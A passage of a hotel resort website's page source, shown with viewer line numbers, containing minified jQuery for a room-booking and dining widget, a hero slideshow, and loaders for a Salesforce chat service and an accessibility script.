Date-1,firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",n=>{const i=n;i.setDate(i.getDate()+1);u.setDate(i);r.addClass("has-value");t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}}),u=new Litepicker({element:document.getElementById("bookCheckOut"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date(n.getFullYear(),n.getMonth(),n.getDate()+1),firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",()=>{t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}})}).script("/js/vendors/site/input-spinner-v2.js").wait(function(){function t(){$(".field-promo").slide
4382Up();$(".field-room").slideUp();$(".field-children").slideUp();$("#bookPromo").attr("readonly",!0);$("#isSearch").attr("readonly",!0);$("#clusterCode").attr("readonly",!0);$("#numberOfRooms").attr("readonly",!0);$("#bookChildren").attr("readonly",!0);$("#bookAdults").attr("data-max","10");$(".mobile-book-notice").removeClass("active");var n=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",n).spinner("changing",function(){})}catch(t){}}function n(n){if(n){let t=$('[data-promo="'+n+'"]');$(".book-promo-slide").fadeOut().promise().done(function(){$(".book-promo-slide").find("a").attr("tabindex",-1);t.fadeIn();t.find("a").attr("tabindex",0)})}}function i(){let i=location.pathname;if(i.includes("westin-hapuna-beach-resort"))$("#staySelect").val("KOAWI").trigger("change");else if(i.includes("mauna-kea-residences"))$("#staySelect").val("residences").trigger("change");else{let i=$("#staySelect").val(),r=$("#staySelect").find("option:selected").index();i=="residences"&&t();n(i)}}function r(){let r=location.pathname.toLowerCase()=="/wifi";if(r){let i=$("#book-tab-2"),u=$("#book-tabpanel-2");$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-wrap [role="tabpanel"]').hide();u.show();let t=$(".dine-scripts .ot-restaurant-picker select").val();t==0&&(t="40177");n(t)}}$("#staySelect").off("input").on("input",function(){var i=$(this),r=i.val();let f=i.find("option:selected").index(),u=$(".mobile-book-notice");setTimeout(function(){if(n(r),r=="residences")t();else{$(".field-promo").slideDown();$(".field-room").slideDown();$(".field-children").slideDown();$("#bookPromo").removeAttr("readonly");$("#isSearch").removeAttr("readonly");$("#clusterCode").removeAttr("readonly");$("#numberOfRooms").removeAttr("readonly",!0);$("#bookChildren").removeAttr("readonly",!0);$("#bookAdults").attr("data-max","4");r=="KOAAK"?u.addClass("active"):u.removeClass("active");var f=$("#bookAdults").attr("data-max");try{$("#guestsSpinner").spinner("updateMax",f).spinner("changing",function(){})}catch(e){}}i.blur()},300)});$("body").off("input").on("input",".dine-scripts .ot-restaurant-picker select",function(){const i=$(this);let t=i.val();t==0&&(t="40177");setTimeout(()=>{n(t),i.blur()},300)});$(".book-tab").off("click").on("click",function(){const i=$(this),u=i.attr("aria-controls"),r=$(`#${u}`);let f=i.data("tab"),t;$(".book-tab").not(i).attr("aria-selected",!1);i.attr("aria-selected",!0);$('.book-tabs-content [role="tabpanel"]').not(r).fadeOut();r.fadeIn();f=="dine"?(t=$(".ot-restaurant-picker select").val(),t==0&&(t="40177")):t=$("#staySelect").val();n(t)});try{$("#guestsSpinner, #roomSpinner, #childrenSpinner").spinner("changing",function(){})}catch(u){}setTimeout(function(){r();i()},1500)}),function(){function t(){n.hasClass("slick-initialized")&&n.slick("unslick");n.off("init").on("init",function(t,i){setTimeout(function(){objectFitPolyfill();n.removeClass("loading");i.slideCount>1&&u()},250)});n.off("beforeChange").on("beforeChange",function(){objectFitPolyfill()});n.on("afterChange",function(n,t,r){let u=t.slideCount,f=r+1,e="Slide "+f+" of "+u;i.textContent=e});n.slick(r)}
4382function u(){const t=document.querySelector(".js-hero-ctrl");t.classList.remove("is-hidden");t.addEventListener("click",function(){t.classList.contains("is-play")?(t.classList.remove("is-play"),t.setAttribute("aria-pressed","false"),t.setAttribute("aria-label","Pause slideshow"),t.setAttribute("title","Pause slideshow"),n.slick("slickNext"),n.slick("slickPlay")):(t.classList.add("is-play"),t.setAttribute("aria-pressed","true"),t.setAttribute("aria-label","Play slideshow"),t.setAttribute("title","Play slideshow"),n.slick("slickPause"))})}const i=document.querySelector(".js-hero-hint"),n=$(".hero"),r={lazyLoad:"ondemand",lazyLoadBuffer:0,speed:500,fade:!0,cssEase:"linear",autoplay:!0,autoplaySpeed:7e3,pauseOnHover:!1,draggable:!1,pauseOnFocus:!1,responsive:[{breakpoint:1025,settings:{draggable:!0}},]};t();$(window).on("init-hero-tour",t)}();$LAB.script("/js/vendors/site/jquery.magnific-popup.min.js").wait(function(){var n=$(".eclub-pop-form .js-input");n.blur(function(){tmpval=$(this).val();tmpval==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});n.each(function(){$(this).val()&&$(this).addClass("has-value")})})
4383                    //end
4384                    $.noConflict();
4385                    
4386                    if($.attachReady)
4387                        $ = $.attachReady(jQuery);
4388
4389                }
4390                _hdmq.add(coreLoaded);
4391                //after core inline
4392                
4393                //end
4394
4395                if (window.addEventListener)
4396                    window.addEventListener("load", afterBodyLoad, false);
4397                else if (window.attachEvent)
4398                    window.attachEvent("onload", afterBodyLoad);
4399                else window.onload = afterBodyLoad;
4400            }());
4401        </script>
4401
4402        
4403
4404<script type='text/javascript'>
4405	function initEmbeddedMessaging() {
4406		try {
4407			embeddedservice_bootstrap.settings.language = 'en_US'; // For example, enter 'en' or 'en-US'
4408
4409			embeddedservice_bootstrap.init(
4410				'00D6g0000036jvL',
4411				'Agentforce_Web_Service_Deployment',
4412				'https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877',
4413				{
4414					scrt2URL: 'https://princeresortshawaii12345.my.salesforce-scrt.com'
4415				}
4416			);
4417		} catch (err) {
4418			console.error('Error loading Embedded Messaging: ', err);
4419		}
4420	};
4421</script>
vendor: 2 bytes, line 4421
4421
4422<script type='text/javascript' src='https://princeresortshawaii12345.my.site.com/ESWAgentforceWebService1741097400877/assets/js/bootstrap.min.js' onload='initEmbeddedMessaging()'></script>
4422
4423
4424
4425
4426<script type="text/javascript">
4427    _hdmq.add(function () {
4428        !function () { var t = function () { var t = document.createElement("script"); t.src = "https://ws.audioeye.com/ae.js", t.type = "text/javascript", t.setAttribute("async", ""), document.getElementsByTagName("body")[0].appendChild(t) }; "complete" !== document.readyState ? window.addEventListener ? window.addEventListener("load", t) : window.attachEvent && window.attachEvent("onload", t) : t() }();
4429    });    
4430</script>
4430
4431
4432    </body>
4433</html>
4434

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.